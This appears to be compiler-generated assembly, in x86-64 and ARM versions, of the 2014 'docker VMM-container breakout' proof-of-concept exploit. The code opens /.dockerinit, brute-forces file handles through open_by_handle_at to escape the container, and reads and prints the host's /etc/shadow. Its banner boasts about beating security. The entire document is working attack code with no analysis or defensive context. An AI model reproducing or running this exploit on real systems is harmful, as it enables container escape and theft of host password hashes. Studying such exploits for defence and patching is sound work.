	.file	"115792.c"
	.intel_syntax noprefix
	.text
	.globl	die
	.type	die, @function
die:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	perror@PLT
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	die, .-die
	.section	.rodata
.LC0:
	.string	"[*] #=%d, %d, char nh[] = {"
.LC1:
	.string	"0x%02x"
.LC2:
	.string	", "
.LC3:
	.string	"};\n"
	.text
	.globl	dump_handle
	.type	dump_handle, @function
dump_handle:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR -24[rbp]
	mov	ecx, DWORD PTR 4[rax]
	mov	rax, QWORD PTR -24[rbp]
	mov	edx, DWORD PTR [rax]
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC0[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	DWORD PTR -4[rbp], 0
	jmp	.L3
.L6:
	mov	rdx, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	movzx	eax, BYTE PTR 8[rdx+rax]
	movzx	edx, al
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC1[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	eax, DWORD PTR -4[rbp]
	lea	ecx, 1[rax]
	movsx	rax, ecx
	imul	rax, rax, 1717986919
	shr	rax, 32
	sar	eax, 3
	mov	esi, ecx
	sar	esi, 31
	sub	eax, esi
	mov	edx, eax
	mov	eax, edx
	sal	eax, 2
	add	eax, edx
	sal	eax, 2
	sub	ecx, eax
	mov	edx, ecx
	test	edx, edx
	jne	.L4
	mov	rax, QWORD PTR stderr[rip]
	mov	rsi, rax
	mov	edi, 10
	call	fputc@PLT
.L4:
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR [rax]
	lea	edx, -1[rax]
	mov	eax, DWORD PTR -4[rbp]
	cmp	edx, eax
	jbe	.L5
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 2
	mov	esi, 1
	lea	rdi, .LC2[rip]
	call	fwrite@PLT
.L5:
	add	DWORD PTR -4[rbp], 1
.L3:
	mov	rax, QWORD PTR -24[rbp]
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR -4[rbp]
	cmp	edx, eax
	ja	.L6
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 3
	mov	esi, 1
	lea	rdi, .LC3[rip]
	call	fwrite@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	dump_handle, .-dump_handle
	.section	.rodata
.LC4:
	.string	"[*] Resolving '%s'\n"
.LC5:
	.string	"[-] open_by_handle_at"
.LC6:
	.string	"[-] fdopendir"
.LC7:
	.string	"[*] Found %s\n"
.LC8:
	.string	"[+] Match: %s ino=%d\n"
	.align 8
.LC9:
	.string	"[*] Brute forcing remaining 32bit. This can take a while...\n"
.LC10:
	.string	"[*] (%s) Trying: 0x%08x\n"
	.text
	.globl	find_handle
	.type	find_handle, @function
find_handle:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 96
	mov	DWORD PTR -68[rbp], edi
	mov	QWORD PTR -80[rbp], rsi
	mov	QWORD PTR -88[rbp], rdx
	mov	QWORD PTR -96[rbp], rcx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -60[rbp], 0
	mov	QWORD PTR -32[rbp], 0
	mov	QWORD PTR -24[rbp], 0
	mov	DWORD PTR -32[rbp], 8
	mov	DWORD PTR -28[rbp], 1
	mov	QWORD PTR -48[rbp], 0
	mov	QWORD PTR -40[rbp], 0
	mov	rax, QWORD PTR -80[rbp]
	mov	esi, 47
	mov	rdi, rax
	call	strchr@PLT
	mov	QWORD PTR -80[rbp], rax
	cmp	QWORD PTR -80[rbp], 0
	jne	.L8
	mov	rax, QWORD PTR -88[rbp]
	add	rax, 8
	mov	rdx, QWORD PTR -96[rbp]
	add	rdx, 8
	mov	rax, QWORD PTR [rax]
	mov	QWORD PTR [rdx], rax
	mov	rax, QWORD PTR -96[rbp]
	mov	DWORD PTR 4[rax], 1
	mov	rax, QWORD PTR -96[rbp]
	mov	DWORD PTR [rax], 8
	mov	eax, 1
	jmp	.L21
.L8:
	add	QWORD PTR -80[rbp], 1
	mov	rax, QWORD PTR stderr[rip]
	mov	rdx, QWORD PTR -80[rbp]
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rcx, QWORD PTR -88[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	open_by_handle_at@PLT
	mov	DWORD PTR -52[rbp], eax
	cmp	DWORD PTR -52[rbp], 0
	jns	.L10
	lea	rdi, .LC5[rip]
	call	die
.L10:
	mov	eax, DWORD PTR -52[rbp]
	mov	edi, eax
	call	fdopendir@PLT
	mov	QWORD PTR -48[rbp], rax
	cmp	QWORD PTR -48[rbp], 0
	jne	.L15
	lea	rdi, .LC6[rip]
	call	die
.L15:
	mov	rax, QWORD PTR -48[rbp]
	mov	rdi, rax
	call	readdir@PLT
	mov	QWORD PTR -40[rbp], rax
	cmp	QWORD PTR -40[rbp], 0
	je	.L23
	mov	rax, QWORD PTR -40[rbp]
	lea	rdx, 19[rax]
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC7[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR -40[rbp]
	add	rax, 19
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	mov	rax, QWORD PTR -40[rbp]
	lea	rcx, 19[rax]
	mov	rax, QWORD PTR -80[rbp]
	mov	rsi, rax
	mov	rdi, rcx
	call	strncmp@PLT
	test	eax, eax
	jne	.L15
	mov	rax, QWORD PTR -40[rbp]
	mov	rax, QWORD PTR [rax]
	mov	ecx, eax
	mov	rax, QWORD PTR -40[rbp]
	lea	rdx, 19[rax]
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC8[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR -40[rbp]
	mov	rax, QWORD PTR [rax]
	mov	DWORD PTR -60[rbp], eax
	jmp	.L13
.L23:
	nop
.L13:
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 60
	mov	esi, 1
	lea	rdi, .LC9[rip]
	call	fwrite@PLT
	cmp	QWORD PTR -40[rbp], 0
	je	.L16
	mov	DWORD PTR -56[rbp], 0
	jmp	.L17
.L20:
	mov	DWORD PTR -32[rbp], 8
	mov	DWORD PTR -28[rbp], 1
	mov	eax, DWORD PTR -60[rbp]
	mov	DWORD PTR -24[rbp], eax
	lea	rax, -32[rbp]
	add	rax, 8
	add	rax, 4
	mov	edx, DWORD PTR -56[rbp]
	mov	DWORD PTR [rax], edx
	mov	eax, DWORD PTR -56[rbp]
	and	eax, 1048575
	test	eax, eax
	jne	.L18
	mov	edx, DWORD PTR -56[rbp]
	mov	rax, QWORD PTR -40[rbp]
	lea	rsi, 19[rax]
	mov	rax, QWORD PTR stderr[rip]
	mov	ecx, edx
	mov	rdx, rsi
	lea	rsi, .LC10[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L18:
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	open_by_handle_at@PLT
	test	eax, eax
	jle	.L19
	mov	rax, QWORD PTR -48[rbp]
	mov	rdi, rax
	call	closedir@PLT
	mov	eax, DWORD PTR -52[rbp]
	mov	edi, eax
	call	close@PLT
	lea	rax, -32[rbp]
	mov	rdi, rax
	call	dump_handle
	mov	rcx, QWORD PTR -96[rbp]
	lea	rdx, -32[rbp]
	mov	rsi, QWORD PTR -80[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	edi, eax
	call	find_handle
	jmp	.L21
.L19:
	mov	eax, DWORD PTR -56[rbp]
	add	eax, 1
	mov	DWORD PTR -56[rbp], eax
.L17:
	mov	eax, DWORD PTR -56[rbp]
	cmp	eax, -1
	jne	.L20
.L16:
	mov	rax, QWORD PTR -48[rbp]
	mov	rdi, rax
	call	closedir@PLT
	mov	eax, DWORD PTR -52[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
.L21:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L22
	call	__stack_chk_fail@PLT
.L22:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	find_handle, .-find_handle
	.section	.rodata
	.align 8
.LC11:
	.ascii	"[***] docker "
	.string	"VMM-container breakout Po(C) 2014             [***]\n[***] The tea from the 90's kicks your sekurity again.     [***]\n[***] If you have pending sec consulting, I'll happily     [***]\n[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n"
.LC12:
	.string	"/.dockerinit"
.LC13:
	.string	"[-] open"
.LC14:
	.string	"/etc/shadow"
.LC15:
	.string	"[-] Cannot find valid handle!"
.LC16:
	.string	"[!] Got a final handle!\n"
.LC17:
	.string	"[-] open_by_handle"
.LC18:
	.string	"[-] read"
	.align 8
.LC19:
	.string	"[!] Win! /etc/shadow output follows:\n%s\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 64
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -4128[rbp], 8
	mov	DWORD PTR -4124[rbp], 1
	mov	QWORD PTR -4120[rbp], 2
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 269
	mov	esi, 1
	lea	rdi, .LC11[rip]
	call	fwrite@PLT
	lea	rax, -4112[rbp]
	mov	edx, 1
	mov	rsi, rax
	mov	edi, 0
	call	read@PLT
	mov	esi, 0
	lea	rdi, .LC12[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -4152[rbp], eax
	cmp	DWORD PTR -4152[rbp], 0
	jns	.L25
	lea	rdi, .LC13[rip]
	call	die
.L25:
	lea	rcx, -4144[rbp]
	lea	rdx, -4128[rbp]
	mov	eax, DWORD PTR -4152[rbp]
	lea	rsi, .LC14[rip]
	mov	edi, eax
	call	find_handle
	test	eax, eax
	jg	.L26
	lea	rdi, .LC15[rip]
	call	die
.L26:
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC16[rip]
	call	fwrite@PLT
	lea	rax, -4144[rbp]
	mov	rdi, rax
	call	dump_handle
	lea	rcx, -4144[rbp]
	mov	eax, DWORD PTR -4152[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	open_by_handle_at@PLT
	mov	DWORD PTR -4148[rbp], eax
	cmp	DWORD PTR -4148[rbp], 0
	jns	.L27
	lea	rdi, .LC17[rip]
	call	die
.L27:
	lea	rax, -4112[rbp]
	mov	edx, 4096
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	lea	rcx, -4112[rbp]
	mov	eax, DWORD PTR -4148[rbp]
	mov	edx, 4095
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	test	rax, rax
	jns	.L28
	lea	rdi, .LC18[rip]
	call	die
.L28:
	mov	rax, QWORD PTR stderr[rip]
	lea	rdx, -4112[rbp]
	lea	rsi, .LC19[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	eax, DWORD PTR -4148[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, DWORD PTR -4152[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L30
	call	__stack_chk_fail@PLT
.L30:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"115792.c"
	.text
	.align	2
	.global	die
	.syntax unified
	.arm
	.fpu softvfp
	.type	die, %function
die:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r0, [fp, #-8]
	bl	perror
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	exit
	.size	die, .-die
	.section	.rodata
	.align	2
.LC1:
	.ascii	"[*] #=%d, %d, char nh[] = {\000"
	.align	2
.LC2:
	.ascii	"0x%02x\000"
	.align	2
.LC3:
	.ascii	", \000"
	.align	2
.LC4:
	.ascii	"};\012\000"
	.text
	.align	2
	.global	dump_handle
	.syntax unified
	.arm
	.fpu softvfp
	.type	dump_handle, %function
dump_handle:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r3, .L7
	ldr	r0, [r3]
	ldr	r3, [fp, #-16]
	ldr	r2, [r3]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #4]
	ldr	r1, .L7+4
	bl	fprintf
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L3
.L6:
	ldr	r3, .L7
	ldr	r0, [r3]
	ldr	r2, [fp, #-16]
	ldr	r3, [fp, #-8]
	add	r3, r2, r3
	add	r3, r3, #8
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r1, .L7+8
	bl	fprintf
	ldr	r3, [fp, #-8]
	add	r1, r3, #1
	ldr	r3, .L7+12
	smull	r2, r3, r1, r3
	asr	r2, r3, #3
	asr	r3, r1, #31
	sub	r2, r2, r3
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	sub	r2, r1, r3
	cmp	r2, #0
	bne	.L4
	ldr	r3, .L7
	ldr	r3, [r3]
	mov	r1, r3
	mov	r0, #10
	bl	fputc
.L4:
	ldr	r3, [fp, #-16]
	ldr	r3, [r3]
	sub	r2, r3, #1
	ldr	r3, [fp, #-8]
	cmp	r2, r3
	bls	.L5
	ldr	r3, .L7
	ldr	r3, [r3]
	mov	r2, #2
	mov	r1, #1
	ldr	r0, .L7+16
	bl	fwrite
.L5:
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L3:
	ldr	r3, [fp, #-16]
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	cmp	r2, r3
	bhi	.L6
	ldr	r3, .L7
	ldr	r3, [r3]
	mov	r2, #3
	mov	r1, #1
	ldr	r0, .L7+20
	bl	fwrite
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L8:
	.align	2
.L7:
	.word	stderr
	.word	.LC1
	.word	.LC2
	.word	1717986919
	.word	.LC3
	.word	.LC4
	.size	dump_handle, .-dump_handle
	.section	.rodata
	.align	2
.LC5:
	.ascii	"[*] Resolving '%s'\012\000"
	.align	2
.LC6:
	.ascii	"[-] open_by_handle_at\000"
	.align	2
.LC7:
	.ascii	"[-] fdopendir\000"
	.align	2
.LC8:
	.ascii	"[*] Found %s\012\000"
	.align	2
.LC9:
	.ascii	"[+] Match: %s ino=%d\012\000"
	.align	2
.LC10:
	.ascii	"[*] Brute forcing remaining 32bit. This can take a "
	.ascii	"while...\012\000"
	.align	2
.LC11:
	.ascii	"[*] (%s) Trying: 0x%08x\012\000"
	.align	2
.LC12:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	find_handle
	.syntax unified
	.arm
	.fpu softvfp
	.type	find_handle, %function
find_handle:
	@ args = 0, pretend = 0, frame = 56
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #60
	str	r0, [fp, #-56]
	str	r1, [fp, #-60]
	str	r2, [fp, #-64]
	str	r3, [fp, #-68]
	ldr	r3, .L26
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-52]
	sub	r3, fp, #32
	mov	r2, #0
	str	r2, [r3]
	str	r2, [r3, #4]
	str	r2, [r3, #8]
	str	r2, [r3, #12]
	mov	r3, #8
	str	r3, [fp, #-32]
	mov	r3, #1
	str	r3, [fp, #-28]
	mov	r3, #0
	str	r3, [fp, #-44]
	mov	r3, #0
	str	r3, [fp, #-40]
	mov	r1, #47
	ldr	r0, [fp, #-60]
	bl	strchr
	str	r0, [fp, #-60]
	ldr	r3, [fp, #-60]
	cmp	r3, #0
	bne	.L10
	ldr	r3, [fp, #-68]
	add	r0, r3, #8
	ldr	r3, [fp, #-64]
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, r3
	bl	memcpy
	ldr	r3, [fp, #-68]
	mov	r2, #1
	str	r2, [r3, #4]
	ldr	r3, [fp, #-68]
	mov	r2, #8
	str	r2, [r3]
	mov	r3, #1
	b	.L23
.L10:
	ldr	r3, [fp, #-60]
	add	r3, r3, #1
	str	r3, [fp, #-60]
	ldr	r3, .L26+4
	ldr	r3, [r3]
	ldr	r2, [fp, #-60]
	ldr	r1, .L26+8
	mov	r0, r3
	bl	fprintf
	mov	r2, #0
	ldr	r1, [fp, #-64]
	ldr	r0, [fp, #-56]
	bl	open_by_handle_at
	str	r0, [fp, #-36]
	ldr	r3, [fp, #-36]
	cmp	r3, #0
	bge	.L12
	ldr	r0, .L26+12
	bl	die
.L12:
	ldr	r0, [fp, #-36]
	bl	fdopendir
	str	r0, [fp, #-44]
	ldr	r3, [fp, #-44]
	cmp	r3, #0
	bne	.L17
	ldr	r0, .L26+16
	bl	die
.L17:
	ldr	r0, [fp, #-44]
	bl	readdir
	str	r0, [fp, #-40]
	ldr	r3, [fp, #-40]
	cmp	r3, #0
	beq	.L25
	ldr	r3, .L26+4
	ldr	r0, [r3]
	ldr	r3, [fp, #-40]
	add	r3, r3, #11
	mov	r2, r3
	ldr	r1, .L26+20
	bl	fprintf
	ldr	r3, [fp, #-40]
	add	r4, r3, #11
	ldr	r3, [fp, #-40]
	add	r3, r3, #11
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r1, [fp, #-60]
	mov	r0, r4
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L17
	ldr	r3, .L26+4
	ldr	r0, [r3]
	ldr	r3, [fp, #-40]
	add	r2, r3, #11
	ldr	r3, [fp, #-40]
	ldr	r3, [r3]
	ldr	r1, .L26+24
	bl	fprintf
	ldr	r3, [fp, #-40]
	ldr	r3, [r3]
	str	r3, [fp, #-52]
	b	.L15
.L25:
	nop
.L15:
	ldr	r3, .L26+4
	ldr	r3, [r3]
	mov	r2, #60
	mov	r1, #1
	ldr	r0, .L26+28
	bl	fwrite
	ldr	r3, [fp, #-40]
	cmp	r3, #0
	beq	.L18
	mov	r3, #0
	str	r3, [fp, #-48]
	b	.L19
.L22:
	mov	r3, #8
	str	r3, [fp, #-32]
	mov	r3, #1
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-52]
	str	r3, [fp, #-24]
	sub	r3, fp, #32
	add	r3, r3, #8
	add	r3, r3, #4
	sub	r1, fp, #48
	mov	r2, #4
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-48]
	bic	r3, r3, #-16777216
	bic	r3, r3, #15728640
	cmp	r3, #0
	bne	.L20
	ldr	r3, .L26+4
	ldr	r0, [r3]
	ldr	r3, [fp, #-40]
	add	r2, r3, #11
	ldr	r3, [fp, #-48]
	ldr	r1, .L26+32
	bl	fprintf
.L20:
	sub	r3, fp, #32
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-56]
	bl	open_by_handle_at
	mov	r3, r0
	cmp	r3, #0
	ble	.L21
	ldr	r0, [fp, #-44]
	bl	closedir
	ldr	r0, [fp, #-36]
	bl	close
	sub	r3, fp, #32
	mov	r0, r3
	bl	dump_handle
	sub	r2, fp, #32
	ldr	r3, [fp, #-68]
	ldr	r1, [fp, #-60]
	ldr	r0, [fp, #-56]
	bl	find_handle
	mov	r3, r0
	b	.L23
.L21:
	ldr	r3, [fp, #-48]
	add	r3, r3, #1
	str	r3, [fp, #-48]
.L19:
	ldr	r3, [fp, #-48]
	cmn	r3, #1
	bne	.L22
.L18:
	ldr	r0, [fp, #-44]
	bl	closedir
	ldr	r0, [fp, #-36]
	bl	close
	mov	r3, #0
.L23:
	ldr	r2, .L26
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L24
	bl	__stack_chk_fail
.L24:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L27:
	.align	2
.L26:
	.word	.LC12
	.word	stderr
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.size	find_handle, .-find_handle
	.section	.rodata
	.align	2
.LC13:
	.ascii	"[***] docker VMM-container breakout Po(C) 2014     "
	.ascii	"        [***]\012[***] The tea from the 90's kicks "
	.ascii	"your sekurity again.     [***]\012[***] If you have"
	.ascii	" pending sec consulting, I'll happily     [***]\012"
	.ascii	"[***] forward to my friends who drink secury-tea to"
	.ascii	"o!      [***]\012\012<enter>\012\000"
	.align	2
.LC14:
	.ascii	"/.dockerinit\000"
	.align	2
.LC15:
	.ascii	"[-] open\000"
	.align	2
.LC16:
	.ascii	"/etc/shadow\000"
	.align	2
.LC17:
	.ascii	"[-] Cannot find valid handle!\000"
	.align	2
.LC18:
	.ascii	"[!] Got a final handle!\012\000"
	.align	2
.LC19:
	.ascii	"[-] open_by_handle\000"
	.align	2
.LC20:
	.ascii	"[-] read\000"
	.align	2
.LC21:
	.ascii	"[!] Win! /etc/shadow output follows:\012%s\012\000"
	.align	2
.LC0:
	.word	8
	.word	1
	.ascii	"\002\000\000\000\000\000\000\000"
	.align	2
.LC22:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 4144
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #4096
	sub	sp, sp, #52
	ldr	r3, .L35
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r2, .L35+4
	sub	ip, r3, #20
	mov	r3, r2
	ldm	r3, {r0, r1, r2, r3}
	stm	ip, {r0, r1, r2, r3}
	ldr	r3, .L35+8
	ldr	r3, [r3]
	ldr	r2, .L35+12
	mov	r1, #1
	ldr	r0, .L35+16
	bl	fwrite
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #1
	mov	r1, r3
	mov	r0, #0
	bl	read
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r4, r3
	mov	r1, #0
	ldr	r0, .L35+20
	bl	open
	str	r0, [r4, #-44]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-44]
	cmp	r3, #0
	bge	.L29
	ldr	r0, .L35+24
	bl	die
.L29:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #36
	sub	r2, fp, #4096
	sub	r2, r2, #12
	sub	r2, r2, #20
	sub	r1, fp, #4096
	sub	r1, r1, #12
	mov	r0, r1
	ldr	r1, .L35+28
	ldr	r0, [r0, #-44]
	bl	find_handle
	mov	r3, r0
	cmp	r3, #0
	bgt	.L30
	ldr	r0, .L35+32
	bl	die
.L30:
	ldr	r3, .L35+8
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L35+36
	bl	fwrite
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #36
	mov	r0, r3
	bl	dump_handle
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #36
	sub	r2, fp, #4096
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [r0, #-44]
	bl	open_by_handle_at
	str	r0, [r4, #-40]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-40]
	cmp	r3, #0
	bge	.L31
	ldr	r0, .L35+40
	bl	die
.L31:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #4096
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	sub	r2, fp, #4096
	sub	r2, r2, #12
	mov	r0, r2
	ldr	r2, .L35+44
	mov	r1, r3
	ldr	r0, [r0, #-40]
	bl	read
	mov	r3, r0
	cmp	r3, #0
	bge	.L32
	ldr	r0, .L35+48
	bl	die
.L32:
	ldr	r3, .L35+8
	ldr	r0, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, r3
	ldr	r1, .L35+52
	bl	fprintf
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r0, [r3, #-40]
	bl	close
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r0, [r3, #-44]
	bl	close
	mov	r3, #0
	ldr	r2, .L35
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L34
	bl	__stack_chk_fail
.L34:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L36:
	.align	2
.L35:
	.word	.LC22
	.word	.LC0
	.word	stderr
	.word	269
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.word	4095
	.word	.LC20
	.word	.LC21
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
